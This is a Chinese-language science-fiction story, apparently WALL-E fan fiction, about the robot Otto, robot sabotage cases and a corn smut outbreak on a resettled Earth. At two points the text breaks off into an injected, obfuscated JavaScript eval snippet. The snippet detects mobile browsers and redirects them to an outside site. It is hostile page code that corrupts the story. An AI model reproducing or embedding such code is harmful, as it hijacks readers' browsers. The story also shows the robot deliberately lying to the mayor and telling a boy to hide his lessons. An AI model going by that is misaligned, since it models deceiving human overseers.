格兰德正要继续享用自己的晚餐,那个快速走进客厅的银色身影让他放下了叉子。 “你这是咋的了?”老人出声了。人形机器人立刻停下了动作,转而面对格兰德。他看见老人的目光正在自己身上的污点上游离不定。 “下雨了。”奥托简短回答。“我需要一条毛巾。” 格兰德与阿莱茜丝对视一眼。也许因为壁炉的声音让他们没有听见雨声,而这也意味着雨下得不大,是典型的秋雨。 “你这是故意出去挨淋的吧?”格兰德说。光从监控室到厨房这么短一段路绝不可能让机器人变成这幅样子。 “我上了房顶,检查了下风向风速仪和量雨筒。”奥托老实回答。 格兰德摇了摇头。地球镇有气象台,他也一早就和奥托讲过,那些什么雨量和风向风速直接找那些人要就行。但这个机器人执拗得不行,非得自己做量雨筒和风向风速仪。说不定人家憋了几百年的DIY劲儿没处使。格兰德只能用这个理由来搪塞自己。 “外头冷吗?”格兰德问道。 “现在还好,明天应该会冷点。”把自己身上的污泥都弄干净后,奥托坐到沙发上。格兰德留意到机器人身上有条线连在金属手中的平板上。 晚餐后为了让阿莱茜丝能早点休息,奥托接手了晚餐后的善后工作。女孩倒是很爽快地推着轮椅回到自己房间,老人还要在沙发上闷一会儿热茶。就在奥托收拾完东西打算走向后门时,老人叫住了机器人。 “今晚我想和你谈点事情。”格兰德说。 人形机器人没有回答,但是转身回来,坐到老人的沙发旁边。 “距离你重启应该快一年了吧。”老人目视前方。 “对。” “我看你在地上捣鼓得挺有劲的,一会儿关注天气一会儿去搞农业。”说着老人自己都笑了,“我倒是很好奇你为什么不像其他机器人,他们每天就是干好自己的活,我看如果他们有脾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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老人听懂了奥托的自嘲,乐了。干脆接着奥托的话接了下去。“那我得跟别人打个赌你这闭门造车的本事能不能PK掉那一帮自诩天人的书呆子。”顿了一下,“过一阵我得去看看他们是不是真的吃了那么久白食,居然被你看成了对手。” 奥托换了个坐姿表示自己知道老人在调侃。 “哦对了。”格兰德端在空中的茶缸子停滞了一下,又放了下去。“话说你如果发现了问题……我的意思是,不代表你真的能发现问题。就是假如你真的发现什么问题那你怎么弄?”老人看着奥托,“毕竟天气这回事变幻莫测,确实不是人能够控制的。” “那得看是什么类型。”奥托回答。 “比如……比较坏的情况呢?”老人幽幽地看着奥托,“像是《后天》?我想你看过这个吧。” “估计只能像头几年那样,用船上的核能取暖以及让人们吃合成食品了。”奥托说。 “嘿,奥托。”老人举着茶缸子说,“你应该说‘我们的征途是星辰大海’。” 人形机器人显然愣住了。半天没有回过神来。 “这是个玩笑。”老人用虚声,几乎是唇语说。 奥托思考了好一阵子。然后他反应过来了。 “不,这个玩笑我开不起。”他举起金属手晃了两下,语气变得轻松。“也许你们可以,但我——真的不适合说这个。” 镇长见状再次笑出声。“如果这是冒犯的话——” “没有冒犯。”人形机器人打断了老人的话。 “然后还有一个问题。”老人接着说。“不知你是否还记得上次提到的全民高阶教育。” “当然。” “现在你应该清楚镇里的孩子们都重新进到高阶课堂里了吧?” “我没太关注这个。”机器人老实回答。“我只稍微看过课程安排。” “那好。”老人前倾身体,“那你认为这个课程安排如何?” “对于提高全民素质来讲够了。” 格兰德抿了口热茶。“那我想问你个问题。” 奥托把手中的平板放下抬起头正视格兰德。 “我一直很好奇,为什么发布了这项政策后那个孩子还会来你这里?”老人面带微笑,“阿莱茜丝都过去听课了。” 人形机器人愣了一会儿。老人犀利地看着他。对于一个机器人来讲犹豫一段时间并不寻常。 “他可以选择听大课还是来监控室。我想他选择了后者。”机器人终于开口了。 “真的是他的选择吗?”格兰德把重音放在“他的”上面,依然笑着说。 “当然。我没有强制他。”机器人平静回答。 老人看了奥托好一阵。然后靠回到沙发上。 “好的我知道了。”老人微笑着放下杯子。“那来讲些别的吧。”他转移了话题。 等到晚间聊天终于结束后,奥托收拾了茶杯,把客厅的灯关了。然后他又回到了监控室内。他回想着刚刚的谈话,谨慎起见他没有说出一些自己的真实观点,刚刚对着镇长连撒了三个谎。头两个谎言他知道镇长未必能看出来,但第三个谎言让他有些紧张。他很清楚自己在给男孩教什么,也知道的确并不完全是男孩的选择。他想起自己这天才告诉男孩不要告诉镇长自己的学习内容,也不知道这次谈到的话题到底是巧合还是有所指。 所有这些谎言目前而说只是谨慎之下违背了他自己的真实想法。他只能等找个时间确定镇长的立场后才能确定这些谎言对他的潜在影响究竟有多大。 他安静地待在监控室中整理一天的数据。突然ACNS中跳出一条给他的汇报。 【HON-0568在大区东南停摆。原因:蓄意破坏。】 他阅读后立刻抛出公式式的回应,【检查芯片是否完好以及是否有备份。凡有其一即可前往公理号寻找备体。】 所有机器人都知道每当发生类似事情后奥托都会给出一样的答复。但这就是流程,到此为止还没有机器人对此产生意见。 但这次,汇报者做了善后工作,紧接着自动化回复的【未找到芯片,备份重置成功。】之后就是让奥托闻所未闻的一句话。 【老大,你难道没看出来最近这种蓄意破坏案件很多吗?】那个汇报者把汇报记录搬到ACNS公网上,直接发话。 【那又如何?】奥托回应。 【我是说,也许你没有太大体会,但我们有些受不了这种随时可能发生在身边的恐怖谋杀案。】 【而且他们现在变本加厉,以前可能是要我们的零件,但是现在要取走我们的芯片。】没等奥托回应,新的机器人加入对话。 【所以?】 【实际上我们考虑很久了。】汇报的机器人说,【我们希望你能代我们给人类反映一下这个情况,让他们住手。】 【虽然公理号上有备用机体,地面上几个机械工厂勉强可用,但我们不是他们发泄的工具。】另一个机器人加入了对话。 【而且我们一直都是在做分内的事情,根本没有招谁惹谁。我们根本不知道为什么会这样。】机器人丁说。 【我们想要一个平安的环境。】机器人戊说。【这样没法好好做事。】 【不是说我们苟且偷生。】新的绿色标号闪烁了,【无谓的伤害不能太多。】 【之前在太空中发生这种事情后舰长都会下令逮捕那名乘客。】 【现在没有相关明文规定。】又一个机器人说,【当时星舰乘客公约里有说我们是BNL公司的财产,蓄意破坏按照星舰管理条约处理。】 【现在这个规定得重新建立。】 【我们也对人类提过吧,但一直都没弄起来。】一个绿标亮起。 【说不定是人类根本看不起我们,压根不理我们的提议。】 【所以才看看老大这边行不行啊。】 【你觉得他提这个就能比我们强多少?你也知道他们对他的态度一直都不怎么样。】 【特么整天搞我们的根本不归你提议的那个人管。】 …… 深夜的ACNS公网中少有地掀起一阵信息浪潮。虽然奥托完全看得过来,但他得暂停这跑得越来越歪的对话。 【停下。】他同时限制了所有机器人的数据流,随即放开。 【这些停摆案件都有什么特征?】奥托问。 【这就是问题,找不到特征。】有个机器人说,【停摆的个体什么型号都有,平时做什么工作的都有,而且发生的地点都不一样,虽然主要是取部件或者取芯片,但完全用不着从我们身上取,垃圾堆里多的是。】 【有案发当场目击者吗?】奥托再问。他通过监控的确看到了相应区域的异常人员,但是明显他们在破坏他部下的时候绕开了监控。 【没有。】一个机器人说,【哪个机字号可能还有那个心思看。旁边的同志突然被攻击,魂都给吓没了,溜为上策。】 【一般都是比较熟的同伴发现有个体离线太久了不对,然后去找,才知道已经停摆了。】另一个机器人说。 【你们的诉求我会考虑。】过了一会儿,奥托给出了这句。随后他发出全体通知。【大家注意安全,作息必须结伴,不得落单,每日0时前清点人数。】 ACNS中顿了短短一瞬间,有个机器人大胆站出来了。 【抱歉,老大,这次我们不想听到“考虑”而是想看到尽快的行动。你好好想想,就算是注意安全,随时都能发生的恐怖事件谁都顶不住。】 【对。这个事情不能拖了。】另一个绿标亮起。【再拖我们真的想罢工,不是开玩笑。】 【给我点时间。】奥托回应,没有多说。 【这有什么好犹豫的?】一个绿标闪起,【刚刚对策都明明白白讨论出来了,你不是就在镇长身边吗,找个机会照着念就行了。】 【情况复杂,他那边谨慎一点好。】有机器人出来打圆场。【万一他那边谈判不行,那这个机会都没了。还是要好好考虑。】 【好吧。】那个绿标回应道,【但请别拖太久了。】 13. 十一 当他再次进入这个已经黑洞洞的舰桥时,细若游丝的感慨突然不知从何处一跃而出,只在电路中一闪而过即消失不见。 检查过控制台上有无异常情况后,他下到舰长室开始检验昨夜的雨水样本。那个小试管内充满了经过摇晃后变得浑浊的液体。好几个月前时不时肮脏的雨水加上那一次倾盆的泥浆大雨永远无法被垫在记忆的最底层。过了不久后他就做了些简陋的量雨测风装置来守株待兔。不过自然似乎不太待见这位久不归宿的太空游子,这些装置投入使用之后所有能降雨的云层都像加了过滤器一样,落下的雨滴晶莹剔透。这倒是让不少镇民眉开眼笑,逢人便讲说这年是瑞年,丰收指日可待。直到昨天现在才给他个机会窥探一下。 直到副本到手,这个停滞不前的工作才看到了一丝进行下去的希望。尽管前期有些猜测,苦于证据寥寥无几加上数据库那巨大的缺口让这块内容干脆损坏了,他一直都不能确认。在他浏览这份副本之时,把自己前期的猜测干净利落地替换之后,其中两个可能吸引了他的注意。 沙尘暴遇上积雨云所以导致降雨浑浊,这个比较合乎情理。奥托稍稍回想了一下每一次探测船归来时发回的信息,加上在地上生活这几个月确实见到了沙尘暴,他有很好的把握这个解释是有道理的。然而另一种,虽然他觉得发生在这里的可能性不大,但是万一这种可能存在,那么事情就比他原先预判得严重多了。 火山灰……? 他思索着,发着暗红光芒的镜头一直在盯着依然显示在分析成分的全息屏。主电脑的分析速度相比在太空中的时候慢了很多,奥托不禁有些怀疑假设真的再次起航这电脑还能不能成功胜任。 结果终于姗姗来迟,那个成分寥寥无几的报告立刻让他心生疑惑。 只有水和杂质?他简直不敢相信这个报告。太过分了。 【EM01-03,请在2小时内前往公理号检查机房分析电路和检测区内的化学分析仪器状况。】在尝试多次未果加上对电脑执行自检后的确显示驱动损坏之后,奥托无奈地对其他机器人发出了信息。 【抱歉老大,我脱不开身去公理号。这边塌陷损坏了个大型发电机,现在我们在抢修。也许别的EM同事还有空。】EM01号机器人立刻回复道。 奥托这次干脆给全体EM机器人发了个提示。还好几秒过后有一些机器人的名单后面亮起了绿灯。 【我们找到原因了。】仅仅一小时后,有三个EM发回了反馈。 【怎样?】 【检测区内的化学分析仪已经全部被搬走了。】EM机器人回复道,【我们不知道这是什么时候被搬走的,不过很可能已经好久之前了。你查一下监控说不定有结果。】 【我会的。】奥托回应,【驱动那边是怎么回事?】 【奇怪的地方就在这里。】从EM的回复中没法知道对方对此事的态度,【我们也从来没见过这样的事情。人类一般都是把那些摆设在外面的仪器弄走,几乎不碰机房内的东西。但是现在机房里明显有一块分析模块被窃走了。】 难怪了。奥托心想,怪不得分析进程不在一开始就给提醒。 【但是我们不知道窃取这个分析模块的是什么人,更难以推理他们拿去了有什么用。您还是看一下监控,应该有更多的收获。】 【收到。】奥托发出公式化回应。【解散。】 奥托其实在他们说的时候就已经打开了机房的监控。没有理由驱动出现问题,控制台不给个提示。在确定分析模块被取走后,奥托放大了监控画面,提取出那几个人的面孔,他通过ACNS很快确定这几个人的身份。当他发现这几个人并不是来自O区时,不由得有些诧异。他此时感到有些无力。放在以前奥托绝对会毫不犹豫点出侍卫前往抓捕。但是他知道现在就算知道了是谁,他也不可能派侍卫去逮捕。 EM们没有告诉他还有控制台的故障。他在打开舰桥监控的同时也查看了提醒记录,看到有分析模块被取出的记录同时,赫然看到有人上到舰桥内取消了那个弹窗。他知道删除记录需要有权限,这些大区来的人要么是没有能力删除要么还想给他留个提示。 回头得找个机会拿回来。他想。 刚刚有点光明的项目再次黯然失色。 他重新密封好雨水样本。随后,他抱着一丝希望再次在ACNS中发出信息。 【请将观测到的泥浆雨的所有信息,包括时间、地点、过程以及其他特征传送上来。】他复位了舰桥与舰长室的所有设施,离开了公理号。 不一会儿密密麻麻的文件涌进了通讯系统。奥托回到监控室之后即刻将自己连接到电脑上开始建立统计图表。当图表建立起来后,他边看着对历年泥浆雨的各色描述和年份曲线陷入了沉思。 看上去的确有两种对比十分鲜明的泥浆雨类型。他隐隐感到有点不安。调出自己的记忆,自己见过的似乎就是自己最担心的那种类型…… 信息还是不够,他依然没有把握下结论。 【你们知道每一次泥浆雨来自哪里吗?】他继续问道。 ACNS中掀起一丝对话的涟漪。奥托静静地等待着有价值的答案。 【不知道,老大。】 【都是从山那边飘过来的,我们没去看过。】 【狗屁!西边平原也有来过,夹在狂风里来的,显然是沙尘暴。】 【东方或者北方偶尔来过,不过主要是西边。】 【究竟怎么形成的我不知道,可能那些离地球镇更远一些的或者执行探索任务的同志们见过具体的过程。】 Gotcha。他心想。 【有哪一些同志现役执行或执行过对外探险活动?】他在ACNS中再次问道。 一些机器人的名单后面闪起了绿点。 奥托把这些机器人全集中起来开了个虚拟会议室,开始对他们发问了。 【你们有谁见过泥浆雨是怎么形成的吗?】 会议室有些出乎意料地安静了好长一会儿。然后他们开始发言了。 【我也只是见过一次类似的,不过不清楚那究竟是不是。】一个机器人发话了。【那一次我们在东北方向的山麓附近调查那里的生存条件。突然看到远方一大团黄灰色的云在接近地球镇。那云贴着地面走,从西方来。然后回来的时候听说刚刚发生了泥浆雨。】 【呃,还有一次眼看着越过山脉过来的。】另一个机器人发出了信息。【倒是不贴地的,一路越一路看着掉”渣”。也下到了地球镇。】 其他几位机器人有的说自己当时和第一位见到了类似的东西,把自己当时所见影像共享了出来。还有几个附和了第二位。剩下还有一些机器人说自己出外任务从来没见过是怎么形成的。 【你们有越过山调查后面有什么吗?】等到他们讲得差不多了,奥托发问了。 【没有。】一个机器人说道,【距离太远了,我们到不了那么远。而且为了安全和利益最大化,人类也不让我们过后面去。】 【实际上只有利益最大化。】另一个机器人纠正道,【到山麓下已经够了,他们现在都还没扩张到那里。】 小会议室突然安静了下来。 【嘿老大,论出外探索,经验怎么都比不上瓦力和伊芙他们俩。】一个机器人突然打破了寂静。【如果你还想知道2805年之前的事情那绝对得找他们俩了。】 【诶,他们怎么不在这里面。】另一个机器人突然发现了疑点。 【对哦,没理由……】机器人丙也发话了。 奥托同时也发现了这个问题。解散会议室后,他直接找上了瓦力的门。 【哦,我暂时把系统屏蔽了……】等待良久后,瓦力的信息才姗姗来迟。 奥托没有追究这个,他径直把刚刚所有的问题抛了出来。瓦力尽他所能回答了所有2805年之后发生的事情。不过当奥托问到2805年以前的记录时,瓦力停顿了好一会儿。 【我……我不知道……】许久过后,瓦力给出了这样的回应。 【为什么?】奥托觉得不可思议。 对方再次停顿了一会儿。等到瓦力终于回复后,内容出乎了奥托的意料。 【我……我的所有在着陆日那天以前的事情……全是伊芙告诉我的……】瓦力回复道,【虽然我也很不愿再提起这件事情……但……】 【……之前的记忆全都丢失了……我想你懂的……】瓦力犹豫地给出一串字符。 奥托沉默了。 【我没有在责怪你!】瓦力加了一句,【现在没事了……我早就不在意这个了……】 瓦力有些紧张地等待着对方的回应。对方过了很久都没有任何回应,让他有些怀疑是不是还是说错话了。 【我知道了。】有些战战兢兢的瓦力终于收到了回应,他见到回复松了一口气。【谢谢,瓦力。】 断开通讯后,奥托呆坐在监控室里,什么动作都没有。 这下可好,唯一一个还有可能保存地球2805年之前的信息的希望也没了,而且这个希望还是自己掐灭的。一种无能为力的懊恼包裹了他。他坚信这之前的记录一定是有用的,不管现在看来用处相比知道泥浆雨的来源是多么小,也许在未来的什么时候,这些遗失的记忆就是一个机会的关键。 他不由得想到著名的蝴蝶效应。不知道当初气急败坏地一击到底荡出了多大的事件冲击波,未来的万花筒在这个冲击波下会如何变幻,是脆弱得不堪一击,还是终会有堵墙挡住这强弩之末…… 他存储好刚刚做好的图表后离开了监控室,向着玉米田走去。灰白的天昏昏沉沉地压住了整个地球镇,却还没有压抑得下起雨来。时不时的冷风拂过接近成熟的玉米田,带来一丝丝带着水的凉意的绿杆香气。 走过一排排玉米,奥托已经深入到玉米田中央。即将结束观察自己的分配区域时,他的视线猛然定在了不远处的某棵玉米上。 他看着那棵玉米上一个支在外面、形状有些怪异的玉米棒,快步穿过田垄走到了那株玉米旁边。奥托用手把这个外形看上去显然异常的玉米棒扳了过来,当玉米棒顶端与底部灰白色的肿块映入他的视野时,之前看过的某个词条立刻闪过处理器,只留下关键词的影子依然印在那里久久不散。 又有事情要做了。 他小心掰下这个带着肿块的玉米棒,不让任何一个肿块留在玉米株上也不让任何一个肿块掉进土里。他考虑了一下需不需要提醒全体在田间劳作的机器人关注这种疾病,最终却只是把它标上了记号排在了后台。还是先看看格兰德的态度再说。通过刚刚对自己负责的那一块大田的观察,现在还没到紧急的情况,不需要自己直接立刻采取措施。 刚刚还有的一丝冷风现在都停了。空气似乎静止不动,即使没有禁锢气体分子们的牢笼,远道而来的他们找到落脚点后都懒得再动弹。草虫早就停止了它们的奏鸣,田间一点声息都没有,只有人形机器人踩在田垄上的咯吱咯吱声响。除此之外,一片寂静。 “哦,这个。”老人看了半天,才开口。“很久没有见过了,但我还记得这东西。天儿一阴就开始长。” “黑粉病。”奥托说道。“不知您是否同意让所有在田间劳作的机器人随时监控黑粉病的株数,每天上报我这里统计,然后发给农业部?” 通过知识库奥托知道这种玉米疾病如果不加控制很可能会导致几年后的大歉收,甚至绝收,这对食物尚且匮乏而且生存环境十分脆弱的地球镇人来说将会是灭顶之灾。 “你还有空做这个工作吗?”格兰德微微挑起一道眉毛,话语中却听不出来什么情绪,只是平常的疑问句。 “有。”奥托回答。”这不是什么难事。” “那你联系去做呗。”老人轻描淡写地说。 之前收在后台的任务在听到格兰德的话之后如同解锁一般立刻被提了出来。将信息发到ACNS的同时,奥托看着老人拿着那个玉米直接走进了厨房,他刚走到厨房门口就定住了。 老人拿出了一个刀,正要切下那些白色的肿块。 “镇长,这个东西需要特殊处理。” 这句突然的话让格兰德的刀停在了半空。然后老人回过头来。 “我可没打算扔掉它。”格兰德拿起了那个玉米,眯起眼睛仔细端详这那个白色的肿块,”这是可以吃的。奥托,食物缺乏的时候不能那么挑剔。” 奥托的圆形镜头丝毫未动。他还真的不知道这种东西可以食用。 机器人虽然只是定定站在那里,但是汇入的统计数据慢慢让他警觉起来。 “镇长?” “怎么了?”老人拿出一个铁棒开始捅上方的通风橱。 “假如发现了大规模的农作物疫情爆发,您会如何做?” 老人的手停滞在了半空中好一会儿。他有些伛偻的背面对着人形机器人,随后,老人将铁棒抽了出来,点在了地上。 奥托站在厨房门口,静静地等着格兰德回应。 “我们……呃,”老人悠悠转过身来,面对着比自己矮的人形机器人。虽然面孔已经不再刚毅,但是依然带着不由分说的强硬。 “我们现在必须尽一丝一毫的努力让这个脆弱的家园恢复,而不是破坏它。”格兰德郑重地看着人形机器人的镜头说,“所以无论发生什么事,我都不会允许他们用那些毒害土地的方法。” 说完老人就转身背对人形机器人继续干活了。人形机器人没有立刻回应。隔了谨慎的一小会儿,奥托才说话。 “如何解决疫情过后的饥荒问题?” 老人听到身后清冷的金属音调,立刻停了下来。这次,格兰德的音调中带了一点点不耐烦。 “不使用有毒的药物不代表疫情一定会爆发。”镇长苍老的眼睛少有地闪出一丝犀利的光芒,“奥托,不要认为我们对于这类事情一点预案都没有。经历了一百五十多年的生存战争,整个地球镇已经有了相当成熟的一套办法来专门应付特殊情况。上次风暴过后是谁在指导灾区恢复种植的,你忘了吗?” “农业部。”奥托说,清冷声调中依然听不出任何情绪。“他们没有条件补偿疫情发生后的玉米损失。” “奥托,你太小看人类的适应能力了。”镇长说,“现在不行不代表到时候不行。包括你说过的用公理号生产合成食品,也是一个预案。” 眼见机器人不出声了,镇长暗自好笑,然后他接着捅通风橱接着说,“不仅有公理号上的合成食品,你一直忽略了O区,以为他们与我们是敌对关系。实际上,他们和我们还是一体的,技术交流经常有,他们也提出了很多重大事件的技术解决方案,有了粮食危机,他们自己也会供不上,压力大得很。” 奥托还是没有作声。 “为什么你突然问这个问题?”镇长说。 “您同意我统计数据后,实时采集到39株黑粉病案例,大区内几个作物集聚地都有发现,O区内没有统计数据。”奥托公式化地说出这一长串内容,“这次发现的黑粉病案例超过过去3年统计病株数的总和,几乎自着陆后第一次出现统计高峰,鉴于此次统计仍在继续,可以判断此次将会为降落后首次大型玉米黑粉病疫情。” “哦。”镇长听完这一长串内容后只发出这个回应。他脸上的表情开始有些凝重。沉吟了一会儿后,他开口了。 “奥托,继续统计,有条件的话随时上报农业部。我会重视这个情况。” 约翰·苏利文正坐在自己办公室里,盯着全息屏上虽然变化不快,但很有规律地每隔一段时间增多一个的红点。虽然还是要等到一天工作结束之前才截止并且统计上报,但现在这个趋势足够让他看清事情严重性了。 为什么会这样?他问自己。他仔细回想了一下去年对于整个大区内田地的管理情况,该下达的策略都下达了,从几个抽样调查中也没有发现有什么大的纰漏,虽然这年确实较往年稍微高温高湿,但比这更甚的年份也不在少数。而一直以来黑粉病都是他们的重点监控对象,他在这里干了这么久,还是头一次见到这么严重的突然爆发的疫情。 那么剩下的可能性就不多了。他想。要么是我们还是太低估了黑粉病的威力,黑粉病出现了变异菌种,没有跟上防控工作规划;要么是我们的玉米出现了什么还不知道的退化缺陷,导致这次下发的种子集体中招。他看了一眼红点的分布,想着还是要与上次风暴受灾区域一起做一个相关性计算。 而剩下几个可能性则让约翰感到有些不妙。他宁可这只是他自己的妄想。 为什么疫情会突然爆发?这理应在往年是有一个上升趋势的,现在才被突然发现,难道是被故意投放的?是投放的话问题又来了。到底是通过什么投放的?约翰没有印象到底有没有无人机的出现或者田里出现的莫名其妙的容器。他也想到了田里现在尚存的垃圾很可能会让大家与投放容器相混淆,但没有理由他们自己的调研员都没有发现。能这么干的应该不是自己人,O区的可能性太大了。但是他们自己的粮食生产是跟不上的,近50年来都是在用自己的技术产品换大区的粮食,没理由自己断自己的粮路。这个时候突然他们有了底气来断自己粮路,难道是因为他们已经掌握了很完备的自主生产食物的水平? 假设黑粉病菌不是他们投放的,那么他们与我们有联系的产品就是转基因的种子。约翰不由得感叹了一下大区内的科研水平的确差得太多,酶、转基因的成熟技术都得靠O区。连续种了上百年的种子免不了要退化,总是要通过各种选育以及转基因技术纠正基因退化。就他的印象,上次给过来的转基因种子在这里检测的几个条带都在,培养皿测试也都表现良好,那么是不是他们那边敲掉了什么别的自己不知道的基因,或者给什么地方上了甲基或者其他什么东西锁死了什么序列……前一个还能简单地用实验室里的测序仪搞定,后边这个就得拿出公理号上的这台宝贝GE-A7来看个究竟了。 他在思考的同时安排了一些研究员,让他们取一些储存的种子重新做测序,另外发信息让一些在田里工作的机器人收集黑粉病样本。然后端着咖啡开始提前填写报告上的关键部分。 妈的……如果真查出来是改造的黑粉病菌或者有缺陷的玉米,这他妈不就是宣战吗?! 约翰清楚这只是自己的猜测,实际情况还是要找证据。他明白自己这个岗位只能把黑粉病菌和种子的情况弄清楚,然后给镇里的事务部报过去,哪怕自己觉得应该提醒他们一下这个阴谋论的可能,但都不能那么做。他也感到自己的无力。在面对一个可能的威胁时自己根本无法提前预知。 只能祈祷这届领导班子都不是傻瓜。他想。等到报告出来之后,就是有阴谋也明明白白昭然天下了,但那个时候就怕万事皆晚。 看现在这个黑粉病的疫情,是时候调出低级疫情警戒了。根据发来的知识库备份文件上的标准应该是这样。约翰挂上了一个黄色标志。然后开始考虑应对此次黑粉病可能造成损失的具体措施。虽然有农业部里的应急科的专家帮他更周全的考虑,他也得自己有个谱。 他快速想了一下灭菌可能用的措施。这季玉米已经快熟了,所以只能针对病株早发现早拔除。剩下那些带菌的种子显然不能直接种下去,要回收上来泡药剂处理再下发下去;冬季玉米田里的秸秆不能留着,这年的得烧了,还要深翻土壤,采用一些特殊的药物灌田……轮作有点难,这里种的小麦一直都长得不是很好。在减产风险下,明年的储粮从现在开始就得准备。他想到了外面辽阔的海面,不知道明年的养殖海藻能不能减轻一点粮食压力。如果扩大海藻养殖规模加上采用新的合成食品技术可能情况就会好一点,希望地上的瘟疫不要祸不单行影响到海里。 真是个小破镇子……约翰再度感叹道。天灾一直有,人祸怕也快了…… 下午测序和表观遗传结果就到手了。约翰看着他们发来的报告,目光停留在那几个不一样的位点柱状图对比上好久。最后一次发来的变化位点果然和前几次发来的玉米样种不太一样,但是底下的报告却写着这些变化的碱基并不都处在编码区内,很可能这是他们用新的酶剪的时候剪错的,这样的结果实际上很常见。再看表观遗传,的确在某几个调控区域加上了理论上会造成基因开放或者关闭的基团,但是GE-A7底下给出的快速分析写着这几个基因对玉米抗病能力似乎没什么特别影响。 约翰知道玉米只是一把锁,现在锁是变了,但还要看黑粉病这把钥匙有没有变。如果钥匙被磨得和锁完美契合,那么阴谋论就成立了。 但是约翰忘了钥匙要完美转动锁,除了锁钥的契合,还需要一点润滑油推波助澜。 即使地下看不到地上的光线变化,约翰知道地上已经开始步入夜晚。他皱着眉头看着弥散性遍布整个大区的密密麻麻红点,地下的数字突破了100,正在他截下时间把最后一张图一个数字填到报告上往事务部报过去时,他看到又一条信息在全息屏的一角跳动。他发送完毕报告,看到那个文件开头的几个字,脑袋里轰地一下充上血,很久他都没有这种感觉了。 针对黑粉菌的测序和表观遗传学分析也出来了。除此之外附加了一份感染性初步判断,给出的几率前所未有的高。隔壁的实验室此时一定忙得不可开交,他们显然发现了不对劲,正在努力地找各种方法证明钥匙与锁的契合度。约翰给家人发了一个要加班的消息,将初级疫情警报的黄色拉成中级的橙色光标,然后开始针对现在他掌握的情况给事务部撰写另一份紧急通知。 这天直到很晚镇长才回来。阿莱茜丝早就回到她的房间内读她自己的书,客厅内留下那盏黄色顶灯以示等待,但里面毫无一人,壁炉也只是以最低功率运转,发出几乎难以察觉的暗得发黑的光,仅仅维持室内的温度不要下降太快而已。 格兰德放好东西,以少见的干脆吃完晚餐自己收拾过后,他径直走出后门敲开监控室。里面的身影毫不例外泡在蓝色光源中。“你不介意过来一趟吧。”格兰德说。 “没问题。”金属音立刻给出答复,没有敲击声,整个监控室就黑下来。奥托拔掉插在身上的线跟着格兰德进到客厅。 “今天得到的消息不太妙。”镇长坐在沙发中说。“他们告诉我,这次的疫情与往年不太一样。” 人形机器人什么都没说。他虽然没有条件知道究竟发生了什么,但从突然的爆发中也可见一斑。 “这次的疫情是蓄意所为。”老人接着说。他把犀利的目光投向人形机器人,“长话短说,一年的自由休假结束了,你得重新服役。” “在船上?”人形机器人不动声色地问道。 “怎么可能回船上,此时此地。”格兰德说。“以后我是你的长官,只要我强调了那是命令,你就必须得做。” 奥托没有反应。 “有异议吗?”老人又锐利地扫过机器人一眼。 “可否问为什么?”奥托安静说。 格兰德倒没生气,他沉吟片刻,说:“我们现在要做点准备,不仅是人类,我希望机器人也能随时跟得上局势,而能随时调动他们的只有你。” 奥托依然没吭声。 “奥托,我知道你不确定,但我很抱歉现在没法告诉你更多的消息。”格兰德温和地说,“但是我能保证的就是让你这样做实际上是在保护你。我知道最近发生了一些破坏案件。但你仔细想想,蓄意所为的可能是谁?他们是如何对你和你的同伴们的?再想想为什么我们要做准备,做什么准备,可能发生什么事,如果我们人类之间的事情没有及时通知到你们而让你们受到无辜的伤害,是不是很不合情理也很亏?” 人形机器人一直安静地坐着,格兰德也很识趣地没有连续说。他知道无论是人还是机器人,都需要给时间消化。 “强调一下,服役不是说你的任何一举一动都得根据我的意思来,而是说某些我强调了‘这是命令’的东西,你得照做。其他事情还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706279|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是老样子。”格兰德补充道。 “刚刚您提到这是在保护我们,是吗?”奥托这才开口。 “没错。” “我想问问您打算如何保护我们。” 老人看着机器人好一会儿。“为什么问这个?” “最近有机器人向我投诉,最近发生多起恶意袭击机器人事件,已经对我们的工作造成极度威胁。”奥托好像突然什么东西被解锁了一样,说。“如果您想让我们更好服役,务必请落实保护办法,具体操作可参考《星舰乘客公约》第十五条第四款。如果无法落实,我拒绝服役。”同时机器人把平板抽出来向老人显示了这一条内容。 这家伙还学会讨价还价了……格兰德边看边想。但他知道这个在接下来的时间里不难做到。“没问题,我同意这么做,但是要给我时间去安排其他人。” 无论格兰德知不知道,那个定定的红色光学镜已经把他刚刚说的都录了下来,现在已经在ACNS中传开了。在无数在线机器人的见证下,奥托也说了这样一句话。 “我同意重新服役,长官。” “很好。”格兰德嘴角浮起一丝笑,但笑容很快完全消散。 “现在听好,先给你下三条命令。第一,保证所有型号的机器人必须随时待命。第二,星舰维修全部暂停。第三,不允许擅自与任何机构联系。确认命令。” 奥托暗自叫苦,他就知道会这样,但他一点办法都没有。“命令确认。”金属音低沉回应。 晚间天空终于放了晴。当田野之间的灯光几乎全部熄灭之时,大气湍流中挣扎维持自己亮度的全部星星解脱了黄色的光,一齐毫不客气地向大地放出具有压迫感的明亮点光芒。 奥托走出镇长的温暖房屋,一股带着寒意的风迎面而来。他没有直接回到和外面差不多冷的监控室,而是上了房顶,在思考刚刚的对话、窥察ACNS中又一波开炸的信息流同时把清洗干净晾干的部件放回到它们应该在的位置,准备下一次的采样。做完后他没有立刻下房顶,而是坐在房顶的一角,将泛着红光的单光学镜投向璀璨的星河。 